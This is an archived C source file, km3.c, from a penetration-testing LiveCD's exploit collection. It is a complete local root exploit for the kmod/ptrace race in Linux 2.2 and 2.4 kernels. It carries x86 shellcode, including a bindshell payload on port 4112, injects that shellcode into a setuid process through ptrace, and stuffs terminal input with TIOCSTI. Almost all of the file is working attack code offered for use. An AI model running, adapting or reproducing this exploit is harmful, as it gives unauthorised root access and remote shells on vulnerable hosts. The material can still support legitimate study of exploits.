home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / km3.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  7KB  |  300 lines

  1. /* lame, oversophisticated local root exploit for kmod/ptrace bug in linux
  2.  * 2.2 and 2.4
  3.  * 
  4.  * have fun
  5.  */
  6.  
  7. #define ANY_SUID    "/usr/bin/passwd"
  8.  
  9. #include <stdio.h>
  10. #include <string.h>
  11. #include <stdlib.h>
  12. #include <unistd.h>
  13. #include <sys/ptrace.h>
  14. #include <linux/user.h>
  15. #include <signal.h>
  16. #include <fcntl.h>
  17. #include <sys/wait.h>
  18. #include <sys/stat.h>
  19. #include <asm/ioctls.h>
  20. #include <getopt.h>
  21.  
  22. // user settings:
  23.  
  24. int randpids=0;
  25.  
  26. #define M_SIMPLE        0
  27. #define M_DOUBLE        1
  28. #define M_BIND            2
  29.  
  30. int mode=M_SIMPLE;
  31. char * bin=NULL;
  32.  
  33. struct stat me;
  34. int chldpid;
  35. int hackpid;
  36.  
  37. // flags
  38. int sf=0;
  39. int u2=0;
  40.  
  41. void killed(int a) { u2=1; }
  42. void synch(int x){ sf=1; }
  43.  
  44. // shellcode to inject
  45. unsigned char shcode[1024];
  46.  
  47. char ptrace_code[]="\x31\xc0\xb0\x1a\x31\xdb\xb3\x10\x89\xf9"
  48.         "\xcd\x80\x85\xc0\x75\x41\xb0\x72\x89\xfb\x31\xc9\x31\xd2\x31\xf6"
  49.         "\xcd\x80\x31\xc0\xb0\x1a\x31\xdb\xb3\x03\x89\xf9\xb2\x30\x89\xe6"
  50.         "\xcd\x80\x8b\x14\x24\xeb\x36\x5d\x31\xc0\xb0\xFF\x89\xc7\x83\xc5"
  51.         "\xfc\x8b\x75\x04\x31\xc0\xb0\x1a\xb3\x04\xcd\x80\x4f\x83\xed\xfc"
  52.         "\x83\xea\xfc\x85\xff\x75\xea\x31\xc0\xb0\x1a\x31\xdb\xb3\x11\x31"
  53.         "\xd2\x31\xf6\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xc5\xff"
  54.         "\xff\xff";
  55.  
  56. char execve_tty_code[]=
  57.     "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80\x31\xc0\x50\x68"
  58.         "\x2f\x74\x74\x79\x68\x2f\x64\x65\x76\x89\xe3\xb0\x05\x31\xc9\x66"
  59.         "\xb9\x41\x04\x31\xd2\x66\xba\xa4\x01\xcd\x80\x89\xc3\x31\xc0\xb0"
  60.         "\x3f\x31\xc9\xb1\x01\xcd\x80\x31\xc0\x50\xeb\x13\x89\xe1\x8d\x54"
  61.         "\x24\x04\x5b\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8"
  62.         "\xe8\xff\xff\xff";
  63.  
  64. char execve_code[]="\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80\xb0\x46"
  65.         "\x31\xc0\x50\xeb\x13\x89\xe1\x8d\x54\x24\x04\x5b\xb0\x0b\xcd\x80"
  66.         "\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe8\xff\xff\xff";
  67.  
  68. char bind_code[]=
  69.         "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80\x31\xc0\x50\x40"
  70.         "\x50\x40\x50\x8d\x58\xff\x89\xe1\xb0\x66\xcd\x80\x83\xec\xf4\x89"
  71.         "\xc7\x31\xc0\xb0\x04\x50\x89\xe0\x83\xc0\xf4\x50\x31\xc0\xb0\x02"
  72.         "\x50\x48\x50\x57\x31\xdb\xb3\x0e\x89\xe1\xb0\x66\xcd\x80\x83\xec"
  73.         "\xec\x31\xc0\x50\x66\xb8\x10\x10\xc1\xe0\x10\xb0\x02\x50\x89\xe6"
  74.         "\x31\xc0\xb0\x10\x50\x56\x57\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x83"
  75.         "\xec\xec\x85\xc0\x75\x59\xb0\x01\x50\x57\x89\xe1\xb0\x66\xb3\x04"
  76.         "\xcd\x80\x83\xec\xf8\x31\xc0\x50\x50\x57\x89\xe1\xb0\x66\xb3\x05"
  77.         "\xcd\x80\x89\xc3\x83\xec\xf4\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x74"
  78.         "\x08\x31\xc0\xb0\x06\xcd\x80\xeb\xdc\x31\xc0\xb0\x3f\x31\xc9\xcd"
  79.         "\x80\x31\xc0\xb0\x3f\x41\xcd\x80\x31\xc0\xb0\x3f\x41\xcd\x80\x31"
  80.         "\xc0\x50\xeb\x13\x89\xe1\x8d\x54\x24\x04\x5b\xb0\x0b\xcd\x80\x31"
  81.         "\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe8\xff\xff\xff";
  82.  
  83. // generate shellcode that sets %edi to pid 
  84. int pidcode(unsigned char * tgt, unsigned short pid)
  85. {
  86. fprintf(stderr, "pid=%d=0x%08x\n", pid, pid);
  87. tgt[0]=0x31; tgt[1]=0xff;
  88. tgt+=2;
  89.     if((pid & 0xff) && (pid & 0xff00)){
  90.     tgt[0]=0x66; tgt[1]=0xbf;
  91.     *((unsigned short*)(tgt+2))=pid;
  92.     return 6;
  93.     }else{
  94.     int n=2;
  95.  
  96.         if(pid & 0xff00){
  97.         tgt[0]=0xB0; tgt[1]=(pid>>8);
  98.         tgt+=2; n+=2;
  99.         }
  100.         
  101.     memcpy(tgt,"\xC1\xE0\x08", 3); tgt+=3; n+=3;
  102.     
  103.         if(pid & 0xff){
  104.         tgt[0]=0xB0; tgt[1]=pid;
  105.         tgt+=2; n+=2;
  106.         }
  107.     tgt[0]=0x89; tgt[1]=0xC7;
  108.     return n+2;
  109.     }
  110. }
  111.  
  112. void mkcode(unsigned short pid)
  113. {
  114. int i=0;
  115. unsigned char *c=shcode;
  116. c+=pidcode(c, pid);
  117. strcpy(c, ptrace_code);
  118. c[53]=(sizeof(execve_code)+strlen(bin)+4)/4;
  119. strcat(c, execve_code);
  120. strcat(c, bin);
  121. }
  122.  
  123. //------------------------
  124.  
  125. void hack(int pid)
  126. {
  127. int i;
  128. struct user_regs_struct r;
  129. char b1[100]; struct stat st;
  130. int len=strlen(shcode);
  131.  
  132.     if(kill(pid, 0)) return;
  133.  
  134. sprintf(b1, "/proc/%d/exe", pid);
  135.     if(stat(b1, &st)) return;
  136.  
  137.     if(st.st_ino!=me.st_ino || st.st_dev!=me.st_dev) return;
  138.     
  139.     if(ptrace(PTRACE_ATTACH, pid, 0, 0)) return;
  140.     while(ptrace(PTRACE_GETREGS, pid, NULL, &r));
  141. fprintf(stderr, "\033[1;33m+ %d\033[0m\n", pid);
  142.     
  143.     if(ptrace(PTRACE_SYSCALL, pid, 0, 0)) goto fail;
  144.     while(ptrace(PTRACE_GETREGS, pid, NULL, &r));
  145.         
  146.     for (i=0; i<=len; i+=4)
  147.     if(ptrace(PTRACE_POKETEXT, pid, r.eip+i, *(int*)(shcode+i))) goto fail;
  148.  
  149. kill(chldpid, 9);
  150. ptrace(PTRACE_DETACH, pid, 0, 0);
  151. fprintf(stderr, "\033[1;32m- %d ok!\033[0m\n", pid);
  152.  
  153.     if(mode==M_DOUBLE){
  154.     char commands[1024];
  155.     char * c=commands;
  156.     kill(hackpid, SIGCONT);
  157.     sprintf(commands, "\nexport TERM='%s'\nreset\nid\n", getenv("TERM"));
  158.         while(*c) { ioctl(0, TIOCSTI, c++); }
  159.     
  160.     waitpid(hackpid, 0, 0);
  161.     }
  162.  
  163. exit(0);
  164.  
  165. fail:
  166. ptrace(PTRACE_DETACH, pid, 0, 0);
  167. kill(pid, SIGCONT);
  168. }
  169.  
  170. void usage(char * cmd)
  171. {
  172. fprintf(stderr, "Usage: %s [-d] [-b] [-r] [-s] [-c executable]\n"
  173. "\t-d\t-- use double-ptrace method (to run interactive programs)\n"
  174. "\t-b\t-- start bindshell on port 4112\n"
  175. "\t-r\t-- support randomized pids\n"
  176. "\t-c\t-- choose executable to start\n"
  177. "\t-s\t-- single-shot mode - abort if unsuccessful at the first try\n", cmd);
  178. exit(0);
  179. }
  180.  
  181. int main(int ac, char ** av, char ** env)
  182. {
  183. int single=0;
  184. char c;
  185. int mypid=getpid();
  186. fprintf(stderr, "Linux kmod + ptrace local root exploit by <anszom@v-lo.krakow.pl>\n\n");
  187.     if(stat("/proc/self/exe", &me) && stat(av[0], &me)){
  188.     perror("stat(myself)");
  189.     return 0;
  190.     }
  191.  
  192.     while((c=getopt(ac, av, "sbdrc:"))!=EOF) switch(c) {
  193.     case 'd': mode=M_DOUBLE; break;
  194.     case 'b': mode=M_BIND; break;
  195.     case 'r': randpids=1; break;
  196.     case 'c': bin=optarg; break;
  197.     case 's': single=1; break;
  198.     default: usage(av[0]);
  199.     }
  200.  
  201.     if(ac!=optind) usage(av[0]);
  202.  
  203.     if(!bin){
  204.         if(mode!=M_SIMPLE) bin="/bin/sh";
  205.         else{
  206.         struct stat qpa;
  207.             if(stat((bin="/bin/id"), &qpa)) bin="/usr/bin/id";
  208.         }
  209.     }
  210.  
  211. signal(SIGUSR1, synch);
  212.  
  213. hackpid=0;
  214.     switch(mode){
  215.     case M_SIMPLE:
  216.     fprintf(stderr, "=> Simple mode, executing %s > /dev/tty\n", bin);
  217.     strcpy(shcode, execve_tty_code);
  218.     strcat(shcode, bin);
  219.     break;
  220.  
  221.     case M_DOUBLE:
  222.     fprintf(stderr, "=> Double-ptrace mode, executing %s, suid-helper %s\n",
  223.             bin, ANY_SUID);
  224.         if((hackpid=fork())==0){
  225.         char *ble[]={ANY_SUID, NULL};
  226.         fprintf(stderr, "Starting suid program %s\n", ANY_SUID);
  227.         kill(getppid(), SIGUSR1);
  228.         execve(ble[0], ble, env);
  229.         kill(getppid(), 9);
  230.         perror("execve(SUID)");
  231.         _exit(0);
  232.         }
  233.  
  234.         while(!sf);
  235.  
  236.     usleep(100000);
  237.     kill(hackpid, SIGSTOP);
  238.     mkcode(hackpid);
  239.     break;
  240.  
  241.     case M_BIND:
  242.     fprintf(stderr, "=> portbind mode, executing %s on port 4112\n", bin);
  243.  
  244.     strcpy(shcode, bind_code);
  245.     strcat(shcode, bin);
  246.     break;    
  247.     }
  248. fprintf(stderr, "sizeof(shellcode)=%d\n", strlen(shcode));
  249.     
  250. signal(SIGUSR2, killed);
  251.  
  252.     if(randpids){
  253.     fprintf(stderr, "\033[1;31m"
  254. "Randomized pids support enabled... be patient or load the system heavily,\n"
  255. "this method does more brute-forcing\033[0m\n");
  256.     }
  257.  
  258. again:
  259. sf=0;
  260.     if((chldpid=fork())==0){
  261.     int q;
  262.     kill(getppid(), SIGUSR1);
  263.         while(!sf);
  264.  
  265.     fprintf(stderr, "=> Child process started");
  266.         for(q=0;q<10;++q){
  267.         fprintf(stderr, ".");
  268.         socket(22,0,0);
  269.         }
  270.     fprintf(stderr, "\n");
  271.     kill(getppid(), SIGUSR2);
  272.     _exit(0);
  273.     }
  274.  
  275.     while(!sf);
  276. kill(chldpid, SIGUSR1);
  277.  
  278.     for(;;){
  279.     int q;
  280.         if(randpids){
  281.             for(q=1;q<30000;++q)
  282.             if(q!=chldpid && q!=mypid && q!=hackpid) hack(q);
  283.         }else{
  284.             for(q=chldpid+1;q<chldpid+10;q++) hack(q);
  285.         }
  286.  
  287.         if(u2){
  288.         u2=0;
  289.             if(single) break;
  290.         goto again;
  291.         }
  292.     }
  293. fprintf(stderr, "Failed\n");
  294. return 1;
  295. }
  296.  
  297. // M$ sucks
  298. // 
  299. // http://bezkitu.com/
  300.